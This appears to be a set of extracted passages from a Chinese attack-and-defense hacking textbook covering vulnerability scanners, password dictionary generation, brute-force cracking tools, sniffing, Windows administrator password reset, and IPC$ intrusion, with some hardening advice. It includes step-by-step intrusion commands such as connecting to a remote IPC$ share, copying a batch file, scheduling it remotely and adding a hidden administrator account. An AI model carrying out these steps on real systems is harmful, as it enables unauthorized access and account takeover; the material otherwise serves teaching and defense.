    {"text": "2.4.1 X-Scan 1．扫描器 X-Scan 简介 X-Scan 是国内最著名的综合扫描器之一，它完全免费，是不需要安装的绿色软件、界面支持 中文和英文两种语言、包括图形界面和命令行方式。 主要由国内著名的网络安全组织“安全焦点” （http://www.xfocus.net）完成，从 2000 年的内部测试版 X-Scan V0.2 到目前的最新版本 X-Scan V3.3 都 凝聚了国内众多专家的心血。 最值得一提的是，X-Scan 把扫描报告和安全焦点网站相连接，对扫描到 的每个漏洞进行“风险等级”评估，并提供漏洞描述、漏洞溢出程序，方便网管测试、修补漏洞。 2．X-Scan 支持的操作系统：Windows 9x/NT4/2000 （1）功能简介（详细信息参见 X-Scan 自述文件） 采用多线程方式对指定 IP 地址段（或单机）进行安全漏洞检测，支持插件功能。 扫描内容包 括：远程服务类型、操作系统类型及版本，各种弱口令漏洞、后门、应用服务漏洞、网络设备漏 洞、拒绝服务漏洞等 20 多个大类。"},
    {"text": "（2）X-Scan 图形界面（xscan_gui.exe）如图 2-54 所示 图 2-54 53 黑客攻防实战详解 3．通过 X-Scan 来扫描一个网段的主机 步骤 1 设置扫描参数。 X-Scan 这个综合扫描器包含许多扫描项目，比如：扫描端口，扫描 NT-Server 弱口令等扫描 项目，并且这些项目是可选的。"},
    {"text": "通过设置“扫描参数”来手动选择需要扫描哪些项目，方法如下。 如图 2-55 所示，选择“设置（W）”->“扫描参数（Z）”，或者直接单击界面上的快捷图标“ ” 来打开“扫描参数” 。"},
    {"text": "（1）“检测范围”模块，如图 2-56 所示 通过右侧窗口的“指定 IP 范围”可以输入独立的 IP 地址或域名，也可输入以“-”和“,”分 隔的 IP 地址范围，如“192.168.0.1-20，192.168.1.10-192.168.1.254”，或类似“192.168.100.1/24” 的格式。 图 2-55 图 2-56 选中“从文件中获取主机列表”，来读取待检测主机地址，文件格式应为纯文本，每一行可包 含独立 IP 或域名，也可包含以“-”和“,”分隔的 IP 范围。"},
    {"text": " SQL-Server 弱口令：如果 SQL-Server（数据库服务器）的管理员密码采用默认设置或设置 过于简单，如“123”、“abc”等，就会被 X-Scan 扫描出 SQL- Server 弱口令。"},
    {"text": "图 2-59 55 黑客攻防实战详解 “网络设置”项：设置适合的网络适配器，若找不到网络适配器，请重新安装 WinPCap3.1 beta4 以上版本驱动，如图 2-60 所示。"},
    {"text": "其中， “跳过没有响应的主机”表示若目标主机不响应 ICMP ECHO 及 TCP SYN 报文，X-Scan 将跳过对该主机的检测。 “跳过没有检测到开放端口的主机”表 示若在用户指定的 TCP 端口范围内没有发现开放端口，将跳过对该主机的后续检测。"},
    {"text": "TCP 方式扫出的信息比较详 细、可靠但不安全，容易被目标主机发现。 SYN 方式扫出的信息不一定详细，可能会出现漏报的 情况，但是扫描比较安全，不容易被发现。"},
    {"text": "选择“文件（V）”->“开始扫描（W）”或选择界面的快捷图标“ ”开始扫描，在扫描过 程中，可从“文件（V）”或界面上的快捷图标“ ” 、 “ ”中选择“暂停扫描”或“停止扫描”, 如图 2-65 所示。"},
    {"text": "图 2-65 57 黑客攻防实战详解 步骤 3 查看扫描报告。 选择“查看（X）”->“检测报告（V）”或选择快捷图标“ ”，打开扫描报告如图 2-66 所 示。 图 2-66 看到的这个 HTML（网页）文件是扫描结果报告，其中的红色部分代表目标主机存在的安全 隐患，单击其中的“详细资料”便可查看对应主机的详细扫描报告，如图 2-67 所示。"},
    {"text": "另外，X-Scan 还有一个命令行方 式的扫描程序，其原理与图形界面的 X-Scan 相同，所不同的是使用的方法不同而已。 图形界面的 扫描器主要用在本机执行，而命令行下的扫描器经常被入侵者用来制作第三方扫描。"},
    {"text": "它可以探测 POP3、FTP、HTTP、Proxy、Form、SQL、SMTP、IPC$等各种漏洞，并针对 各种漏洞设计了不同的破解方案，能够在有漏洞的系统上轻易得到被探测的用户密码。"},
    {"text": "2．流光功能概述 流光这款软件除了能够像 X-Scan 那样扫描众多漏洞、弱口令外，还集成了常用的入侵工具， 如字典工具、NT/IIS 工具等，还独创了能够控制“肉鸡”进行扫描的“流光 Sensor 工具”和为“肉 鸡”安装服务的“种植者”工具。"},
    {"text": "由于流光的功能过于强大，而且 功能还在不断扩充中，因此流光的作者小榕限制了流光所能扫描的 IP 范围，不允许流光扫描国内 IP 地址，而且流光测试版在功能上也有一定的限制。 但是，入侵者为了能够最大限度地使用流光， 在使用流光之前，都需要用专门的破解程序对流光进行破解，去除 IP 范围和功能上的限制。"},
    {"text": "图 2-68 图 2-69 4．实例：使用流光高级扫描功能检测 210.□.□.2 到 210.□.□.253 网段主机的系统缺陷 步骤 1 打开高级扫描向导、设置扫描参数。"},
    {"text": "59 黑客攻防实战详解 图 2-70 图 2-71 设置好所有检测项目后，然后单击“下一步（N）”按钮来到如图 2-73 所示的界面，选择“本 地主机”，表示使用本机执行扫描任务。"},
    {"text": "在扫描过程中，如果想要停止，通过单击最下 角的“取消”按钮来实现，不过需要相当一段时间才能真正的停止，所以建议一次不要扫太大的 网段，如果因扫描时间过长而等不及，这时候再想让流光停下来是不容易的。"},
    {"text": "扫描结束后，流光会自动打开 HTML 格式的扫描报告，如图 2-74 所示。 图 2-74 60 第 2 章 信息搜集 需要指出的是，在扫描完成后，流光不仅把扫描结果整理成报告文件，而且还把可利用的主 机列在流光界面的最下方，如图 2-75 所示。"},
    {"text": "除了使用“高级扫描向导”配置高级扫描外，还可以直接选取高级扫描工具，如图 2-77 所示。 图 2-76 图 2-77 打开“高级扫描设置”，其界面如图 2-78 所示。"},
    {"text": "流光扫描器自身的设置是比较复杂的，有很多选项可以自由设定，因 而也给了使用者更大的发挥空间，可以根据网络和机器的状况来尝试改变这些设置，提高扫描器 的性能。"},
    {"text": "2.4.3 X-WAY 1．X-WAY 简介 X-WAY 是一款非常不错的综合扫描器，而且是免费软件、简单易用、功能强大，自带猜解机、 61 黑客攻防实战详解 嗅探器及一些入侵工具。"},
    {"text": "2．界面如图 2-79 所示 图 2-79 3．功能说明（引自 X-WAY 使用说明） ① 高级扫描：对系统进行综合扫描，包括对主机信息收集，漏洞扫描，弱口令探测等，如图 2-80 所示。 ② 主机搜索：用来对主机进行简单扫描来发现符合条件的主机，如图 2-81 所示。"},
    {"text": " 协议类型：包括对 FTP、POP、共享资源和 SQL 的猜解、2.0 版本开始增加了对 Socks5 和 HTTP（某些网页需要验证才能进去）主机的猜解，而 SQL 猜解必须本机装了 MS SQL 才 能有效。"},
    {"text": "图 2-83 图 2-84  NUKE 测试：向 Windows 98/98SE 发送 IGMP 包测试，结果会导致攻击目标系统蓝屏，机 器重启等。  OOB 测试：Windows 95，NT 的 OOB 漏洞测试，会导致攻击蓝屏，系统重启等。"},
    {"text": "嗅探器能自动截取主机所在网络的数据包，从而做到窃听。 如果数据包没有被加密传输的话， 那么后果将不堪设想，但嗅探器只适用于“广播网络” ，如“集线器”（HUB）为中心的组网。 但 是，令人担忧的是，绝大多数局域网都属于“广播”网络，并且由于嗅探器属于被动式的窃听， 所以即使是再安全的计算机，只要处在广播网络中，就可以被嗅探到。"},
    {"text": "63 黑客攻防实战详解 图 2-85 2.4.4 扫描器综合性能比较 以上介绍了三种综合扫描器 X-Scan、流光、X-WAY，下面对它们性能做出综合评定，如表 2-4 所示。 表 2-4 性能比较 扫描器名称 参数设置 速 度 扫描结果 准 确 性 特 点 X-Scan 扫描全部项目， 线程 最慢 最全面 最准确 扫描彻底、滴水不漏；"},
    {"text": "综上所述，到底使用何种扫描器需要根据各自的优点进行选择，各种扫描器也会根据不同的 网络情况而不同。 当仅需要检测一个或两个项目时，还是使用专用扫描器比较方便，而要进行多 项目扫描的时候，就需要使用综合扫描器。"},
    {"text": "2.4.5 常见问题与解答 1．问：X-Scan 扫描中的 TCP 和 SYN 两种方式对扫描结果有什么影响？ 答：TCP 和 SYN 是扫描器进行扫描的两种方式。 TCP 扫描方式是通过与被扫描主机建立标准 的 TCP 连接，因此这种方式最准确，很少漏报、误报，但是容易被目标主机察觉、记录。 SYN 方 式是通过与目标主机建立半打开连接，这样就不容易被目标主机记录，但是扫描结果会出现漏报， 在网络状况不好的情况下这种漏报是严重的。"},
    {"text": "在流光主界 面上通过“选项（O）”→“连接选项（C）”来对“连接方式”进行设定，如图 2-86 所示，根据实 际入网的方式来选择。 在“选项（O）”→“系统设置（S）”中对系统参数进行设置，其中线程优先级越高越有利于 流光的扫描，线程数越大扫描速度越快，但扫描准确性越低，单词数／线程越大扫描结果越不准 确，可根据计算机和网络的具体情况而定，一般如图 2-87 设置便可。 图 2-86 图 2-87 在流光主机上设定扫描速度，如图 2-88 所示，扫 描的速度越慢，扫描结果越准确。"},
    {"text": "为了避免信息的这种泄露， 大多数通信软件都是先把数据包加密后再来传输的， 图 不过并不绝对，确实还有一些软件使用没有加密的明 2-88 文传输，这些软件对于嗅探器来说就是非常脆弱的。"},
    {"text": "而且，如果读者能够一步步地跟随本篇所介绍 的入侵实例进行练习，相信读者在阅读完本篇后不仅能掌握系 统的理论知识，而且会拥有丰富的实战经验。"},
    {"text": "入侵者可能通过以下操作来入侵目标主机：  获取认证密码  远程文件操作  远程屏幕监视  远程命令执行  远程进程管理  远程计算机管理  远程注册表修改  远程登录主机  远程入侵 MS SQL 服务器  远程入侵 FTP 服务器 3.1 获取账号密码 本章介绍“基于认证的入侵”，即基于“用户名／密码”模式的认证，只要基于认证，就必然 存在“口令攻击”问题。"},
    {"text": " 密码监听：通过 Sniffer（嗅探器）来监听网络中的数据包，从而获得密码，对付明文密码 特别有效，如果获取的数据包是加密的，还要涉及解密算法。"},
    {"text": "3.1.1 弱口令扫描 现实中存在着大量的主机／服务器的认证为空或为简单的密码，这种存在弱口令的主机入侵 第 3 章 基于认证的入侵 者只需要利用专用的扫描器就可以掌握其控制权，下面介绍如何利用 X-Scan 扫描器来获取目标主 机的弱口令。"},
    {"text": "图 3-1 步骤 2 指定扫描模块，在“NT-Server 弱口令”模块前打勾，如图 3-2 所示。 图 3-2 步骤 3 开始扫描，单击 或利用快捷键 Ctrl+S，如图 3-3 所示。 图 3-3 69 黑客攻防实战详解 步骤 4 查看扫描结果，扫描完成后将自动弹出扫描结果页，如图 3-4 和图 3-5 所示。"},
    {"text": "图 3-4 图 3-5 3.1.2 字典攻击 暴力破解是密码的终结者，当入侵者无法找到目标系统的缺陷时，暴力破解便是最好的方法， 此时，他们所需要的只是一个安排合理的字典文件和充足的时间。 在介绍入侵者是如何使用暴力 方法来破解密码之前，先来了解一下字典文件的制作过程。 通过了解入侵者使用何种工具、按照 何种规则制作的字典文件，可以帮助网管们使用更加强壮的密码，从而避开暴力破解的攻击。"},
    {"text": "70 第 3 章 基于认证的入侵 （2）基本选项（需要注册）  所有字母大写 对应于前面的设定，产生的字典范围：AAA00~ZZZ99。  首字母大写 对应于前面的设定，产生的字典范围：Aaa00~Zzz99。  数字在字母前 对应于前面的设定，产生的字典范围：00aaa~99zzz。"},
    {"text": "如： abcdefghijklmnopqrstuvwxyz 23456 /!@#$% ABC 如果文件像上面一样，则产生的字典中每一个单词的第一位的范围就是第一行的字符串的范 围（abcdefghijklmnopqrstuvwyxz），第二行的范围就是第二行的字符串，然后依次类推。"},
    {"text": "（4）产生字典 在设定完成后，您会看到一个对话框，其中包含了您设置字典情况的信息，如果一切无误的 话，单击“开始”按钮就可生成字典，否则清除后重新设定。"},
    {"text": "其实“流光扫描器”是小榕制作的百宝箱，里面含有他几乎所有的作品，这款功能强大的黑 客字典也不例外，后面的实例都是以流光中的黑客字典为例介绍的。 2．入侵者字典（流光版） （1）打开方法 在流光主界面中，通过“工具（T）”→“字典工具”→“黑客字典工具Ⅲ-流光版（D）”，如 图 3-6 所示，或使用热键“Ctrl+H”来打开黑客字典流光版。"},
    {"text": "71 黑客攻防实战详解 图 3-6 图 3-7 （2）实例一 入侵者使用黑客字典流光版来产生一个符合如下要求的密码文件：  3 位字母（a~g）和 2 位数字（0~9）的组合；"},
    {"text": "打开黑客字典流光版，在“设置”选项卡中选择字符种类，根据要求，这里选择 3 个“字母” 和 2 个“数字”的组合，字母范围从 a~g，数字范围从 0~9，设置好后，如图 3-8 所示。 在选项栏中确定字符的排列方式，根据要求，选择“仅仅首字母大写” ，由于默认就是“字母 在前、数字在后”，该处不用选择，如图 3-9 所示。"},
    {"text": "打开黑客字典，其中“设置”、 “选项”中的参数与实例一相同，这里需要进行设置的只是“高 级选项”，选择“高级选项”，在“字母位置”中选择 1、2、5，在“数字位置”中选择 3、4，如 图 3-13 所示。"},
    {"text": "设置好“文件存放位置”，确定后，产生高级字典属性的报表文件，如图 3-14 所示。 图 3-13 图 3-14 如果报表文件符合密码要求，单击“开始（S）”按钮生成字典文件，然后打开生成好的字典 文件，如图 3-15 所示。"},
    {"text": "图 3-15 73 黑客攻防实战详解 （4）实例三 在实际中，一般的密码一般为 6 位、8 位，这样的密码字典文件往往很大，体积有几十 MB， 如果只用一台主机进行暴力破解恐怕需要几十年、几百年，所以入侵者常常把这种体积过大的密 码文件分割成很多份上传到几十台、几百台“肉鸡”上，让不同的“肉鸡”来破解不同的密码文 件，实现蚂蚁搬家的过程。"},
    {"text": "步骤 1 设置，如图 3-16 所示。 步骤 2 接下来设置“选项” ，如图 3-17 所示。 步骤 3 设置“高级选项” ，如图 3-18 所示。 图 3-16 图 3-17 图 3-18 步骤 4 生成文件。"},
    {"text": "74 第 3 章 基于认证的入侵 1．工具一：WMICracker  简介 这是小榕的一款暴力破解 NT 主机账号密码的工具，是 Windows NT/2000/XP/2003 的杀手， 破解的时候需要目标主机开放 135 端口，这是大多数主机所满足的。  使用方法：WMICracker.exe <IP> <Username> <Password File> [Threads]  参数说明 <IP>：目标 IP。 <Username>：待破解密码的账号，必须属于管理员组。"},
    {"text": "假设入侵者使用 X-Scan 已经扫描到 192.168.245.133 这台计算机上有一个名字为 gloc 的管理 员权限账号，并认为它的密码符合如下的规则： （a）3 位字母（a~g）和 2 位数字（0~9）的组合；"},
    {"text": "图 3-21 2．工具二：SMBCrack  简介（引自自述文件） 它和以往的 SMB（共享）暴力破解工具不同，没有采用系统的 API，而是使用了 SMB 的协 议。"},
    {"text": "图 3-24 3．工具三：CNIPC NT 弱口令终结者 这款软件应该算做弱口扫描器，由于它速度很快，也可以挂上密码字典来暴力破解，它可以 扫描任意 IP 地址段的服务器，对有 IPC$空连接的服务器自动进行弱口令猜测。"},
    {"text": "1，是 76 第 3 章 基于认证的入侵 例如：cnipc -A 192.168.0.1 192.168.1.233 50 0 例如：cnipc -A 192.168.0.1 192.168.1.233 50 1 例如：cnipc -D 192.168.0.1 192.168.1.233 50 0 例如：cnipc -D 192.168.0.1 192.168.1.233 50 1 3.1.4 网络监听获取密码 1．Sniffer 简介 Sniffer，也称网络嗅探器，可以是硬件，也可以是软件，它是比较专业的网络分析工具，最 初是用来帮助网络管理员或者网络设计师获取网络数据流向，进而分析网络性能与故障的工具。"},
    {"text": "在广播型的以太网中，计 算机在通信时是把数据包发往网络内的所有其他计算机，但只有发信者所指定的那台计算机才会 把数据包接收下来，然而网络上的其他计算机同样会看到这个数据包，正常情况下，这些非指定 接收的计算机应该丢弃不是发给自己的数据包，但装有 Sniffer 的计算机会把网络上所有的数据接 收下来，进行分析。 2．Sniffer 的工作环境 通过对 Sniffer 工作原理的介绍可知，Sniffer 只能工作在广播型的以态网中。 在常见的网络中， 由 Hub（集线器）为核心的组网属于广播网，可以使用 Sniffer 来监听网络数据包，而由 Switch（交 换机）或 Router（路由器）为核心的组网则属于非交换网，Sniffer 除了抓到自己的数据包外，无 法获取其他计算机的通信数据包，这时候 Sniffer 完全失去作用。 但也并不是绝对，有些 Switch（交 换机）也可以按照广播的方式工作，此时可以把它当成一个大型 Hub，具体情况就要看该网络的 网络设计师如何使用这些网络设备了。"},
    {"text": "3．关于 Sniffer 的补充说明 Sniffer 可以用来获取本来不属于自己的数据包，这么强大的工具，如果被入侵者安装在网络 中的关键节点上，后果是不堪设想的。"},
    {"text": "为了解决广播型网络容易被嗅探这个问题，出现了数据 包在传输中的加密技术，这样一来，即使被 Sniffer 抓到数据包，也是经过加密的，由此来加大获 取原数据包内容的难度，减少 Sniffer 带来的安全隐患。 在传输过程中是否加密完全取决于通信软件本身，虽然加密技术很大程度上降低了 Sniffer 获 取账号／密码的可能性，但也并不是所有的通信软件都把自己发送的数据包加密，而且加密程度 也参差不齐，如 IE 5.0 的密钥长度为 56 位，IE 6.0 的密钥为 128 位，而有的通信软件仍然使用明 文传输。"},
    {"text": "介绍到这里，如果读者是一位负责的网管，应该感到惊慌了吧，因为使用 Sniffer 能够在网管 完全没有察觉的情况下盗走密码。 如果一位勤劳的网管已经做到了他所应该作的一切：寸步不离 地守候在服务器前，总是在第一时间给服务器打补丁，从来不执行非法程序，然而系统却被入侵 了，那么就应该考虑一下管辖的局域网内是不是存在 Sniffer 了。"},
    {"text": "3.1.5 其他途径 首先，介绍一种利用 Windows Key 破除 Windows 2000/NT/XP 管理员密码的终极方法，成功 率为 100%，而且操作简单，易学易用，惟一的缺撼就是 Windows NT-2000-XP Key 软件是商业软 件，不易得到的。 其次，介绍利用破解利器 LC4 破解 Windows 2000（NT/XP）系统管理员密码。"},
    {"text": "1．利用 Windows Key 获取密码 该 方 法 是 针 对 Windows 2000 Professional [Version 5.00.2195] 系 统 ， 系 统 管 理 员 账 号 administrator 密码丢失、无其他可登录用户账号、SAM 文件无法读取或做其他操作、无输入法漏 洞等可利用漏洞。 采用该方法需要以下工具：Windows 2000 安装光盘（或 Windows 2000 启动盘）、 Windows XP-2000-NT Key、空软盘一张。"},
    {"text": "驱 动盘做好后，用 Windows 2000 的安装盘启动待恢复密码的计算机，当提示 Press F6 if you need install party SCSI or RAID driver...时，按 F6 键，等待加载过程结束后，看到提示：To specify addition al SCSI adapters，CD-ROM drivers. or special disk controllers for use with Windows 2000，including those for which you have a device support disk from mass storage device manufacturer，press S，立刻按 S 键，然后系统会接着提示：Please insert the disk labeled manufacturer-supplied hardware support disk into driver A：* Press ENTER when ready。 此时插入软盘加载上面做好的 Windows XP-2000-NT Key 驱动盘。"},
    {"text": "这时系统会提示：Set Administrator’ Password to '12345'？ （Y/N） ： ，键入 Y，待显示： Password has been reset. User name is 'Administrator'. New password is '12345' 到此为止，系统管理员账号 administrator 的密码已被改为 12345 了。 取出安装光盘及软盘， 重新启运系统即可用此账号 administrator 和密码 12345 登录。"},
    {"text": "2．利用破解器 LC4 获取密码 账号密码数据库文件 SAM 文件位于 Windows 2000 所在的 Winnt\\System32\\Config 下，该文件 保存了 Windows 2000 中所有的用户名和密码。 虽然 LC4 并不能算做是一个新工具，但是这个工具可以实现从 SAM 文件中进行密码刺探破 79 黑客攻防实战详解 解，对于可以取得 Sam 文件的情况来说，选用它是一个很好的选择。 该 方 法 是 针 对 Windows 2000 Professional [Version 5.00.2195] 系 统 ， 系 统 管 理 员 账 号 administrator 密码丢失、无其他可登录用户账号、无输入法漏洞等可利用漏洞，通过种种手段可取 得其 SAM 文件。"},
    {"text": "首先采用 Windows PE、Bart PE、NTFSDOS 等启动系统，进入系统后删除 SAM 文件，然后 重新启动，此时管理员 Administrator 账号已经没有密码了，可以用 Administrator 和空密码登录系 统，进入系统后再重新设置管理员账户密码。  几点说明 ① 此方法不能在 Windows XP/2003 上使用，如果删除 SAM 文件，会引起系统崩溃。 ② Windows NT/2000/XP 中对用户账户的安全管理使用了安全账号管理器（Security Account Manager，SAM）的机制，安全账号管理器对账号的管理是通过安全标识进行的，安全标识在账号 创建时就同时创建，一旦账号被删除，安全标识也同时被删除。 ③ 另外，在 Windows XP 中，可以将\\WINDOWS\\repair\\sam 文件复制到\\WINDOWS\\system32\\ config\\目录下覆盖掉原有的文件，也可以将 Administrator 账号的密码置空。"},
    {"text": "81 黑客攻防实战详解 2．问：Sniffer 能够嗅探到不是本机上的数据吗？ 答：能，Sniffer 就是用来嗅探其他计算机数据的，但是不能嗅探跨网段的主机。"},
    {"text": "答：一旦存在 SQL 服务器的网络登录操作，便会被 SQL Server Sniffer 嗅探出该 SQL 登录的 账号和密码。 它不取决于密码的复杂度，防范这种嗅探的方法是通过改变 MS SQL 服务器的默认 端口 1433，并尽量减少网络登录 SQL 服务器的次数。"},
    {"text": "他们通过建立 IPC$连接与远程主机实现通信和控制。 通过 IPC$连接的建立，入侵者能够：  建立、拷贝、删除远程计算机文件；  在远程计算机上执行命令。"},
    {"text": "3.2.1 IPC$简介 1．什么是 IPC IPC 是英文 Internet Process Connection 的缩写，可以理解为“命名管道”资源，它是 Windows 操作系统提供的一个通信基础，用来在两台计算机进程之间建立通信连接，而 IPC 后面的“$”是 Windows 系统所使用的隐藏符号，因此“IPC$”表示 IPC 共享，但是是隐藏的共享。 IPC$是 Windows NT 及 Windows 2000/XP/2003 特有的一项功能，通过这项功能，一些网络程序的数据交换可以建 立在 IPC 上面，实现远程访问和管理计算机。"},
    {"text": "2．关于 Windows 操作系统的默认共享 为了配合 IPC 共享工作，Windows 操作系统（不包括 Windows 98 系列）在安装完成后，自动 设置共享的目录为：C 盘、D 盘、E 盘、ADMIN 目录（C:\\WINNT\\）等，即为 ADMIN$、C$、 D$、E$，但要注意，这些共享是隐藏的，只有管理员能够对他们进行远程操作。 在 MS-DOS 中键 入“net share”命令来查看本机共享资源，如图 3-32 所示。 82 第 3 章 基于认证的入侵 图 3-32 3.2.2 远程文件操作 1．常用 DOS 命令 下面介绍几个比较基础 DOS 命令，这些都是 DOS 中经常使用的命令。"},
    {"text": "net user：系统账号类操作 net localgroup：系统组操作 net use：远程连接、映射操作 net send：信使命令 net time：查看远程主机系统时间  cls 命令：清屏命令。 83 黑客攻防实战详解  netstat -n 命令：查看本机网络连接状态。  nbtstat -a IP 命令：查看指定 IP 主机的 NetBIOS 信息。"},
    {"text": "键入命令 net use \\\\192.168.27.128\\ipc$ \" \" /user：\"administrator\"，如图 3-36 所示。 图 3-36 使用命令：net use z： \\\\192.168.27.128\\c$ 参数说明：  “\\\\192.168.27.128\\c$”表示目标主机 192.168.27.128 上的 C 盘，其中“$”符号表示隐藏的 共享。"},
    {"text": " “z：”表示将远程主机的 C 盘映射为本地磁盘的盘符。 该命令表示把 192.168.27.128 这台 目标主机上的 C 盘映射为本地的 Z 盘，如图 3-37 所示。 图 3-37 映射成功后，打开“我的电脑”，会发现多出一个 Z 盘，上面写着“C$位于 192.168.27.128 上”， 该磁盘即为目标主机的 C 盘，如图 3-38 所示。"},
    {"text": "BAT 文件是在 Windows 系统中的一种文件格式，称为批处理文件。 简单来说，就是把需要执 行的一系列 DOS 命令按顺序先后写在一个后缀名为 BAT 的文本文件中。 通过鼠标双击或 DOS 命 令执行该 BAT 文件，就相当于执行一系列 DOS 命令。"},
    {"text": "举个例子，假设想在明天上午 10 点给电脑杀毒，但是正好明天上午 10 点要出去办事，那怎 么办呢？ 这时候就要使用“计划任务”这个功能，令计算机在明天上午 10 点自动执行杀毒程序。"},
    {"text": " net user 命令，用来管理计算机上面的账号。  查看账号命令：net user  建立账号命令：net user name passwd /add  删除账号命令：net user name passwd /del  net localgroup 命令：用来管理工作组。"},
    {"text": "命令一：net user sysbak 123456 /add。 该命令表示添加用户名为 sysback，密码为 123456 的账号。 参数说明： “sysback”：用户名。 “123456”：用户的密码。 “/add”：表示添加账号。 命令二：net localgroup administrators sysback /add。 该命令表示把 sysback 添加到管理员组 （administrators）。 参数说明： “administrators”：表示管理员组。"},
    {"text": "打开 MS-DOS，键入“copy hack.bat \\\\192.168.27.128\\c$”命令，如图 3-43 所示。 图 3-43 copy 命令执行成功后，就已经把 D 盘下的 hack.bat 文件拷贝到 192.168.27.128 的 C 盘内。 此 外，也可以在图形界面下把 hack.bat 复制、粘贴到目标主机中。 步骤 4 通过计划任务使远程主机执行 hack.bat 文件。"},
    {"text": "键入“at \\\\192.168.27.128 13：45 C:\\hack.bat”命令，如图 3-45 所示，该命令表示在下午 13 点 45 分执行目 标主机 C 盘中的 hack.bat 文件。"},
    {"text": "图 3-46 3.2.3 IPC$空连接漏洞 1．漏洞描述 IPC$本来要求客户机需要有足够的权限才能连接到目标主机，然而事实并不尽然。 IPC$空连 接漏洞允许客户端只使用空用户名、空密码就可以与目标主机成功建立连接，如图 3-47 所示。 图 3-47 2．漏洞带来的影响 入侵者利用该漏洞可以与目标主机进行空连接，但是无法执行管理类操作，例如不能执行映 射网络驱动器、上传文件、执行脚本等命令。 虽然入侵者不能通过该漏洞直接得到管理员权限， 但也可以用来探测目标主机的一些关键信息，在“信息搜集”中可以发挥一定作用。"},
    {"text": "（1）USERINFO USERINFO 是利用 IPC$漏洞来查看目标主机用户信息的工具。 通过 USERINFO 来查看目标 主机用户信息的时候，并不需要事先建立 IPC$空连接。  使用命令：USERINFO \\\\IP USER  参数说明： IP：目标主机的 IP 地址。"},
    {"text": "图 3-49  结果分析： Bad pw Count：0 失败的登录 0 次 Num logons：41 administrator 这个用户共登录 41 次 允许该用户登录的时间列表： Logon hours at controller，GMT 89 黑客攻防实战详解 Hours- 12345678901N12345678901M Sunday 111111111111111111111111 Monday 111111111111111111111111 Tuesday 111111111111111111111111 Wednesday 111111111111111111111111 Thursday 111111111111111111111111 Friday 111111111111111111111111 Saturday 111111111111111111111111 （2）X-Scan 扫描器 利用 X-Scan 扫描器扫描主机，并得出图 3-50 所示的用户列表。"},
    {"text": " Windows 2000 服务器版本： 图 3-52 Key： HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters 新建 Name：AutoShareServer Type：DWORD（双字节） Value：0  Windows 2000 工作站版本： Key： HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters 新建 Name：AutoShareWks Type：DWORD（双字节） Value：0 按上述方法建立后，在重新启动计算机后，默认共享即被删除。 如果需要使用共享资源，则 删除刚才建立的键，重新启动后生效。 或者在注册表 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\ Windows\\CurrentVersion\\Policies 下新建 Network 子键，并在其下面再新建一个名为 NoShareControl 的双字节，数值设为 1。"},
    {"text": "打开注册表编辑器，在[HKEY_LOCAL_ MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LSA]中把 Restrict Anonymous =DWORD 的键值改 为：00000001，也可以改成 2，不过改成 2 的话可能造成一些服务不能正常工作。"},
    {"text": "3．关闭 Server 服务 Server 服务是 IPC$和默认共享所依赖的服务，如果关闭 Server 服务，IPC$和默认共享便不存 91 黑客攻防实战详解 在，但同时也使服务器丧失其他一些服务功能，因此该方法不适合服务器使用，只适合个人计算 机使用。 通过“控制面板”→“管理工具”→“服务”打开服务管理器，在服务管理器的服务列表中 找到 Server 服务，使用鼠标右击该服务，在弹出的菜单中选择“属性”，然后选择“禁用”，修改 成功后重新启动。 重新启动计算机后修改生效，此时再使用 IPC$与该主机进行连接，如图 3-53 所示，可见已经不能与该机建立 IPC$了。"},
    {"text": "图 3-53 除上述方法外，也可使用 DOS 命令来关闭 Server 服务。 使用命令“net stop server/y”来关闭 Server 服务，但该命令只能生效一次，计算机重新启动后 Server 服务还会自动开启。"},
    {"text": " 与远程主机建立 IPC$，本地计算机也应该开放 IPC$。  在获得远程主机的管理员账号和密码的情况下，IPC$才可能建立成功，IPC$空连接除外。 远程主机所需条件：  需要开放 IPC$共享。"},
    {"text": "2．问：既然使用 IPC$空连接就可以与远程主机建立连接，那么未授权者能通过 IPC$空连接 来控制远程主机吗？ 答：IPC$是基于账号和密码的，当拥有远程主机上的账号和密码后才能成功建立有效的 IPC$， 而且建立的 IPC$拥有相应账号的权限。 按照这个道理，虽然使用 IPC$空连接能够与远程主机建立 连接，但是该连接没有任何权限。 也就是说，未授权者不能通过 IPC$空连接控制远程主机。"},
    {"text": "3．问：与远程主机建立 IPC$成功，但是将文件拷贝到远程主机时失败，为什么？ 答：首先，在拷贝文件到远程主机之前需要先用管理员账号与远程主机建立 IPC$连接，而不 是 IPC$空连接。 如果建立了 IPC$连接仍然不能进行拷贝操作，则说明远程主机关闭了 C 盘，D 盘 等默认共享资源，这时候可以使用计划任务开启这些共享资源，比如“at \\\\IP TIME NET SHARE C:”。 4．问：当通过 IPC$建立连接时出现“错误 5” ，结果造成连接建立失败，为什么？"},
    {"text": "5．问：即使用户名和密码并不正确，有时也能与远程主机建立 IPC$连接，为什么？ 答：确实存在着这种情况，有时使用随便命名的用户名和密码，甚至该账号并不存在，也可 以与远程主机建立 IPC$连接。"},
    {"text": "3.3 Telnet 入侵 前几节所介绍的 IPC$入侵只是与远程主机建立连接，并不是真正的登录。 实际上，夺取远程 主机的控制权然后登录才是入侵者的目的，想像一下，当入侵者超越空间控制远程主机来使用远 程主机的软、硬件资源的时候，该主机便完全掌握在入侵者手中。"},
    {"text": "3.3.1 Telnet 简介 1．什么是 Telnet 对于 Telnet 的认识，不同的人持有不同的观点，可以把 Telnet 当成一种通信协议，但是对于 入侵者而言，Telnet 只是一种远程登录的工具。 一旦入侵者与远程主机建立了 Telnet 连接，入侵者 便可以使用目标主机上的软、硬件资源，而入侵者的本地机只相当于一个只有键盘和显示器的终 端而已。 2．Telnet 被入侵者用来做什么 （1）Telnet 是控制主机的第一手段 在前几节介绍过，如果入侵者想要在远程主机上执行命令，需要建立 IPC$连接，然后使用 net time 命令查看系统时间，最后使用 at 命令建立计划任务才能完成远程执行命令。"},
    {"text": "虽然这种方法能 够远程执行命令，但相比之下，Telnet 方式对入侵者而言则会方便得多。 入侵者一旦与远程主机建 立 Telnet 连接，就可以像控制本地计算机一样来控制远程计算机。 可见，Telnet 方式是入侵者惯于 使用的远程控制方式，当他们千方百计得到远程主机的管理员权限后，一般都会使用 Telnet 方式 进行登录。"},
